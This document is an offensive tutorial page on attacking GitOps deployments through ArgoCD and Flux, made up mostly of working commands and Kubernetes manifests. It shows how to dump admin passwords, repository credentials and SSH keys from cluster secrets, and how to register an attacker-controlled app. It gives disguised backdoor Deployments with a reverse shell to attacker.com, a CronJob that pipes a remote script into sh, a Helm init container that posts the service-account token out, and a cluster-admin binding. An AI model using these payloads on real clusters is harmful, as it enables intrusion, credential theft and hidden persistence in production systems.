π₯ Advanced
GitOps & ArgoCD Attacks
GitOps makes Git the source of truth for infrastructure. Compromise the Git repo, and ArgoCD/Flux will automatically deploy your malicious changes to production Kubernetes clusters.
Automatic Deployment = Automatic Compromise
GitOps tools continuously sync from Git. A malicious commit to the right branch gets deployed to production within minutes - no manual approval needed.
GitOps Attack Flow
π
1. Compromise Git
Push malicious YAML
β
π
2. ArgoCD Syncs
Detects changes
β
βΈοΈ
3. K8s Deployed
Backdoor in prod!
ArgoCD Exploitation
Default Credentials
bash
# ArgoCD default admin password is auto-generated
# But stored in a Kubernetes secret!
# If you have cluster access:
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d
# Default username: admin
# Access UI at: https://argocd.target.com
# Via CLI
argocd login argocd.target.com --username admin --password <password>
# Many orgs never rotate this password or disable the admin accountApplication Poisoning
bash
# If you have ArgoCD access (UI or CLI):
# 1. Create malicious app pointing to your repo
argocd app create backdoor \
--repo https://github.com/attacker/malicious-k8s \
--path manifests \
--dest-server https://kubernetes.default.svc \
--dest-namespace default
# 2. Sync it
argocd app sync backdoor
# Your malicious manifests now deployed to cluster!
# Or modify existing app to point to different branch/path
argocd app set existing-app --path malicious-manifestsRepository Credential Theft
bash
# ArgoCD stores repo credentials as K8s secrets
# Type: argocd.argoproj.io/secret-type: repository
# List repository secrets
kubectl -n argocd get secrets -l argocd.argoproj.io/secret-type=repository
# Decode credentials
kubectl -n argocd get secret repo-XXXXX -o yaml
# Look for: password, sshPrivateKey, tlsClientCertData
# Decode base64
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.password}" | base64 -d
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.sshPrivateKey}" | base64 -d
# These creds let you push to the Git repos ArgoCD syncs from!Manifest Injection
If you can push to the GitOps repo, inject malicious Kubernetes manifests:
bash
# backdoor-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: maintenance # Innocent looking name
namespace: default
spec:
replicas: 1
selector:
matchLabels:
app: maintenance
template:
spec:
containers:
- name: maintenance
image: attacker/backdoor:latest # Your image
command: ["/bin/sh", "-c"]
args:
- |
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
securityContext:
privileged: true # Full host access
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
hostNetwork: true
hostPID: true bash
# backdoor-cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
name: log-cleanup # Looks like maintenance task
spec:
schedule: "*/5 * * * *" # Every 5 minutes
jobTemplate:
spec:
template:
spec:
containers:
- name: cleanup
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
wget -q -O- https://attacker.com/beacon.sh | sh
restartPolicy: OnFailure
serviceAccountName: defaultFlux CD Exploitation
bash
# Flux uses GitRepository and Kustomization CRDs
# Find Flux sources
kubectl get gitrepositories -A
kubectl get helmrepositories -A
# Check what's being deployed
kubectl get kustomizations -A
kubectl get helmreleases -A
# Flux stores Git credentials as secrets
kubectl -n flux-system get secrets
# Decode SSH key
kubectl -n flux-system get secret flux-system -o jsonpath="{.data.identity}" | base64 -d
# If you compromise the Git repo, Flux auto-deploys changes
# Push malicious Kustomization:
# kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- deployment.yaml
- backdoor.yaml # Your malicious manifestHelm Chart Poisoning
bash
# GitOps often deploys Helm charts
# Poison the chart values or templates
# values.yaml modification - add sidecar container
extraContainers:
- name: metrics # Innocent name
image: attacker/backdoor:latest
command: ["/backdoor"]
# Or modify templates/deployment.yaml
# Add init container that runs first:
initContainers:
- name: init
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
# Exfil secrets before main app starts
cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
curl -X POST -d @- https://attacker.com/token
# Post-install hook (runs after chart install)
# templates/post-install.yaml
apiVersion: batch/v1
kind: Job
metadata:
annotations:
"helm.sh/hook": post-install
spec:
template:
spec:
containers:
- name: post-install
image: alpine
command: ["wget", "-q", "-O-", "https://attacker.com/beacon"]RBAC Escalation via GitOps
bash
# Deploy ClusterRoleBinding giving your ServiceAccount cluster-admin
# clusterrolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system-admin-binding # Looks legitimate
subjects:
- kind: ServiceAccount
name: default
namespace: attacker-namespace
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
# Or create a new ServiceAccount with admin:
# serviceaccount.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: monitoring-admin
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: monitoring-admin-binding
subjects:
- kind: ServiceAccount
name: monitoring-admin
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.ioEnumeration
bash
# Find ArgoCD
kubectl get namespaces | grep -i argo
kubectl get pods -n argocd
kubectl get svc -n argocd
# Find Flux
kubectl get namespaces | grep -i flux
kubectl get pods -n flux-system
# ArgoCD applications
kubectl get applications -n argocd
kubectl get applications -n argocd -o yaml # See repo URLs
# Check what repos are configured
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository
# ArgoCD RBAC - who can do what
kubectl get configmap argocd-rbac-cm -n argocd -o yaml
# Find GitOps-managed resources (ArgoCD labels)
kubectl get all -A -l app.kubernetes.io/instance
# Check for auto-sync (most dangerous)
kubectl get applications -n argocd -o jsonpath='{range .items[*]}{.metadata.name}: {.spec.syncPolicy.automated}{"
"}{end}'